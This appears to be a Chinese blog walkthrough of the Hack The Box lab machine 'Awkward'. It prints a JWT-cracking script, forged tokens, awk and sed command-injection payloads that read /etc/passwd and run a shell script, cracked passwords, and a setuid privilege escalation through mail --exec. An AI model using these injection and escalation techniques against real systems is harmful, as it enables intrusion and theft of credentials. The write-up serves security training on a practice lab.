Hacking The Box----Awkward

信息收集

nmap扫描,发现22号端口和80号端口打开,80号端口上运行着http服务器。访问ip后URL变为hat-valley.htb
在这里插入图片描述
修改/etc/hosts文件,添加10.10.11.185 hat-valley.htb,然后就能正常访问网站。可以看到是一家卖帽子的公司的网站,页面上有提示说即将开网店
在这里插入图片描述
接着用dirsearch扫描一下目录,发现js目录中可能有源码
在这里插入图片描述
进一步扫描js目录,发现app.js和custom.js
在这里插入图片描述
访问hat-valley.htb/js/app.js,发现目录/hr
在这里插入图片描述
除此之外发现一些api路由,包括/api/all-leave, /api/submit-leave, /api/login, /api/staff-details, and /api/store-status.
接着用wfuzz扫描一下子域名,发现store.hat-valley.htb,添加到/etc/hosts
在这里插入图片描述
访问store.hat-valley.htb,发现需要凭证
在这里插入图片描述

直接访问/hr/目录,发现有cookie: token=guest,修改guest为admin,成功登录dashboard
在这里插入图片描述

但是staff-details是空的,而且Online Store Status的状态是Down,查看一下网络请求,发现staff-details和store-status
在这里插入图片描述

访问api/staff-details,报错jwt-malformed
在这里插入图片描述

删除Cookie: token=guest后再次访问得到所有的员工信息:
在这里插入图片描述

爆破hash

用Crack station破解hash,成功爆破出其中一个hash值
在这里插入图片描述

登录

利用爆破得到密码chris123和搜集信息得到的用户名christopher.jones登录/hr
在这里插入图片描述

得到jwt token,尝试爆破用于JWT生成的secret
在这里插入图片描述

爆破JWT Secret

先用官方脚本将jwt转成john所能利用的格式

$ python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcxNTEzNjIyfQ.fdE8gDRe7UL30RNpzKWIBtsY_NUHUMdVTdzBkus1Jvo > jwt_hash.john
$ john -w=/usr/share/wordlists/rockyou.txt jwt_hash.john

转化脚本jwt2john.py如下:

#!/usr/bin/env python3
import sys

from binascii import hexlify
import base64

def base64url_decode(base64_str):
    size = len(base64_str) % 4
    if size == 2:
        base64_str += b'=='
    elif size == 3:
        base64_str += b'='
    elif size != 0:
        raise ValueError('Invalid base64 string')
    return base64.urlsafe_b64decode(base64_str)

def jwt2john(jwt):
    """
    Convert signature from base64 to hex, and separate it from the data by a #
    so that John can parse it.
    """
    jwt_bytes = jwt.encode('ascii')
    parts = jwt_bytes.split(b'.')

    data = parts[0] + b'.' + parts[1]
    signature = hexlify(base64url_decode(parts[2]))

    return (data + b'#' + signature).decode('ascii')


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: %s JWT" % sys.argv[0])
    else:
        john = jwt2john(sys.argv[1])
        print(john)

爆破得到jwt的密钥:123beany123

服务端请求伪造(SSRF)

登录发现的利用点还有一个:store-status,注意到其参数为url
在这里插入图片描述

尝试使用url="http://127.0.0.1:80"作为/api/store-status的参数,发现重定向到hat-valley.htb,因此可以确信是一个SSRF利用点

在这里插入图片描述

利用这个洞遍历一下端口,发现开了三个端口80、3002、8080
在这里插入图片描述

依次访问3002和8080,发现3002端口提供了API接口文档以及对应的源码
在这里插入图片描述

本地文件包含(LFI)

审计相关API的源码,发现一个本地文件包含漏洞:

app.get('/api/all-leave', (req, res) => {
  const user_token = req.cookies.token
  var authFailed = false
  var user = null
  if(user_token) {
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
    if(!decodedToken.username) {
      authFailed = true
    }
    else {
      user = decodedToken.username
    }
  }
  if(authFailed) {
    return res.status(401).json({Error: "Invalid Token"})
  }
  if(!user) {
    return res.status(500).send("Invalid user")
  }
  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]

  const badInUser = bad.some(char => user.includes(char));

  if(badInUser) {
    return res.status(500).send("Bad character detected.")
  }

  exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
    if(stdout) {
      return res.status(200).send(new Buffer(stdout, 'binary'));
    }
    if (error) {
      return res.status(500).send("Failed to retrieve leave requests")
    }
    if (stderr) {
      return res.status(500).send("Failed to retrieve leave requests")
    }
  })
})

awk后拼接变量user,user变量来自jwt token中的username,而我们已经得到了jwt生成token所使用的secret,因此我们可以伪造任何一个user的值

user = decodedToken.username
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}

假如传进去的token在解码后赋予user变量的值为/’ /etc/passwd ',那么这个命令会被拼接成:

exec("awk '//' /etc/passwd '/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000} <----- this is how query looks like when executing

在本地执行这个命令,发现输出了/etc/passwd的内容
在这里插入图片描述

使用https://jwt.io/来进行jwt token的伪造,填入爆破得到的secret,修改username为/’ /etc/passwd ',得到生成的token:
在这里插入图片描述

使用得到的token访问http://hat-valley.htb/api/all-leave

curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NjcwMTcxNTd9.HKWzL6o9CamyDt0S-bxQyrKYEqQha_tDr1SfgSLcX7s" | grep -i /bin/bash

得到两个用户bean和christine
在这里插入图片描述

因为网站首页看到bean是管理员用户,因此查看bean的bashrc文件

curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vLmJhc2hyYyAnIiwiaWF0IjoxNjY3MDE3MTU3fQ._Rmh6a1R5H3g8JBg0hZg19LibMyWC93ArEm6wsepCsY"

在这里插入图片描述

注意到其中的backup_home.sh,尝试获取这个文件内容,发现文件/home/bean/Documents/backup/bean_backup_final.tar.gz
在这里插入图片描述

保存/home/bean/Documents/backup/bean_backup_final.tar.gz,并且用binwalk提取文件:

binwalk -eM bean_backup_final

得到用户bean的home目录
在这里插入图片描述

在文件.config/xpad/content-DS1ZS1找到用户bean的password:014mrbeanrules!#P
在这里插入图片描述

ssh登录bean,得到user.txt中的flag:
在这里插入图片描述

提权

之前扫描到的子域名store.hat-valley.htb需要凭证登录,观察到网站使用了nginx,现在通过bean用户在目录中找到/etc/nginx/conf.d/.htpasswd,得到用户名为admin,又由于用户中只有bean是admin权限,因此尝试使用bean的密码登录
在这里插入图片描述

成功登录
在这里插入图片描述

找到store源码目录
在这里插入图片描述

查看README.MD:
在这里插入图片描述

RCE

查看cart_actions.php

<?php

$STORE_HOME = "/var/www/store/";

//check for valid hat valley store item
function checkValidItem($filename) {
    if(file_exists($filename)) {
        $first_line = file($filename)[0];
        if(strpos($first_line, "***Hat Valley") !== FALSE) {
            return true;
        }
    }
    return false;
}

//add to cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
        if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
            system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
        }
        system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
        echo "Item added successfully!";
    }
    else {
        echo "Invalid item";
    }
    exit;
}

//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }
    if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
        system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
        echo "Item removed from cart";
    }
    else {
        echo "Invalid item";
    }
    exit;
}

//fetch from cart
if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'fetch_items' && $_GET['user']) {
    $html = "";
    $dir = scandir("{$STORE_HOME}cart");
    $files = array_slice($dir, 2);

    foreach($files as $file) {
        $user_id = substr($file, -18);
        if($user_id === $_GET['user'] && checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
            $product_file = fopen("{$STORE_HOME}cart/{$file}", "r");
            $details = array();
            while (($line = fgets($product_file)) !== false) {
                if(str_replace(array("\r", "\n"), '', $line) !== "***Hat Valley Cart***") { //don't include first line
                    array_push($details, str_replace(array("\r", "\n"), '', $line));
                }
            }
            foreach($details as $cart_item) {
                 $cart_items = explode("&", $cart_item);
                 for($x = 0; $x < count($cart_items); $x++) {
                      $cart_items[$x] = explode("=", $cart_items[$x]); //key and value as separate values in subarray
                 }
                 $html .= "<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} οnclick=\"removeFromCart(this, localStorage.getItem('user'))\" class='remove-item'>Remove</button></td></tr>";
            }
        }
    }
    echo $html;
    exit;
}
?>

审计源码发现sed命令用来删除cart文件数据,这个命令可用于RCE。为了能够删除cart里面的数据,先添加一个商品到购物车:
在这里插入图片描述

查看文件夹/var/www/store/cart发现多了一个文件
在这里插入图片描述

尝试编辑文件发现不行,删除文件并创建同名的,修改内容:
在这里插入图片描述

在tmp目录下创建shell.sh,同时赋予执行权限
接着在购物车中删除商品,用burp拦截报文,修改item为1’±e+“1e+/tmp/shell.sh”+/tmp/shell.sh+’
在这里插入图片描述

成功连接shell,权限为www-data
在这里插入图片描述

用pspy查看进程,发现inotifywait在监控leave_requests.csv,随便往leave_requests.csv中写入数据,发现2022/10/29 17:38:06 CMD: UID=0 PID=4698 | mail -s Leave Request: dedsec christine,因此可以借助mali程序来提权,创建一个setuid脚本

#!/bin/bash
chmod +s /bin/bash

然后往leave_requests.csv写入’" --exec=“!/tmp/priv.sh”',成功获取root权限

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值